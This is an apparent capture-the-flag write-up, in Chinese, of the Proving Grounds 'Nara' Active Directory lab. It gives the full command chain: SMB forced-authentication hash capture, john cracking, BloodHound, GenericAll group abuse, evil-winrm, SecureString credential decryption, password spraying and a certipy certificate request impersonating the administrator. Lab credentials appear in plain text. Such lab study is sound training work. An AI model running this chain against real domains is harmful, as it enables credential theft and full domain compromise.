Proving Grounds Nara Writeup

Recon:

1	nmap 192.168.159.30 -p- -Pn -sT --min-rate 2000

QQ_1721992806658

1	nmap 192.168.159.30 -p53,88,135,139,389,445,593,3389,5985 -sC -sV -Pn

QQ_1721992934345

GetShell:

目标域名为：

1	nara.nara-security.com

枚举共享信息：

1	smbmap -d nara.nara-security.com -u guest -H 192.168.159.30

QQ_1721993546485

1	smbclient //192.168.159.30/nara

QQ_1721993861478

文件中是一份说明：

QQ_1721994659227

SMB目录会定时有人访问，采取强制认证捕获hash，使用脚本工具批量生成强制认证文件：

1	https://raw.githubusercontent.com/dharanivarma/Pentesting-Tools/main/hashgrab.py

QQ_1721996375067

放入SMB共享目录中:

QQ_1722048284168

捕获到hash:

QQ_1722048316609

使用john破解:

1	john hash -w=/usr/share/wordlists/rockyou.txt

QQ_1722048421920

使用当前凭证搜集域信息：

1	bloodhound-python -c all -u Tracy.White -p "zqwj041FGX" -d nara-security.com -ns 192.168.228.30

QQ_1722049808404

上传bloodhound，当前用户对REMOTE ACCESS组有CenericALL权限:

QQ_1722050002369

REMOTE ACCESS组也只是能远程使用Powershell登录而已。将Tracy.White添加到远程登录组中：

1	net rpc group addmem "Remote Access" "Tracy.White" -U "NARA-SECURITY.COM"/"Tracy.White"%"zqwj041FGX" -S "nara-security.com

1	net rpc group members "Remote Access" -U "NARA-SECURITY.COM"/"Tracy.White"%"zqwj041FGX" -S "nara-security.com"

QQ_1722051665740

链接winrm：

1	evil-winrm -i 192.168.228.30 -u Tracy.White -p "zqwj041FGX"

QQ_1722051846796

执行枚举信息命令会因为权限不足而报错，在documents目录下有个加密过后的账户凭证：

QQ_1722055121163

使用powershell解码：

# Read the password from the file and convert it to a SecureString
$pw = Get-Content cred.txt | ConvertTo-SecureString

# Convert the SecureString to an unsecure BSTR
$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)

# Convert the BSTR to a plain text string
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

# Output the plain text password
$UnsecurePassword

QQ_1722056680773

使用密码进行喷洒：

1	nxc smb 192.168.228.30 -u username -p passwd --continue-on-success

QQ_1722056850986

该用户在并未发现什么攻击向量。枚举证书模板：

1	certipy-ad find -u Jodie.Summers -p "hHO_S9gff7ehXw" -dc-ip 192.168.228.30 -vulnerable

QQ_1722062597510

请求证书模板：

1	certipy-ad req -u Jodie.Summers -p "hHO_S9gff7ehXw" -ca NARA-CA -template NaraUser -target-ip 192.168.228.30 -dc-ip 192.168.228.30 -upn administrator@nara-security.com -debug

QQ_1722063499642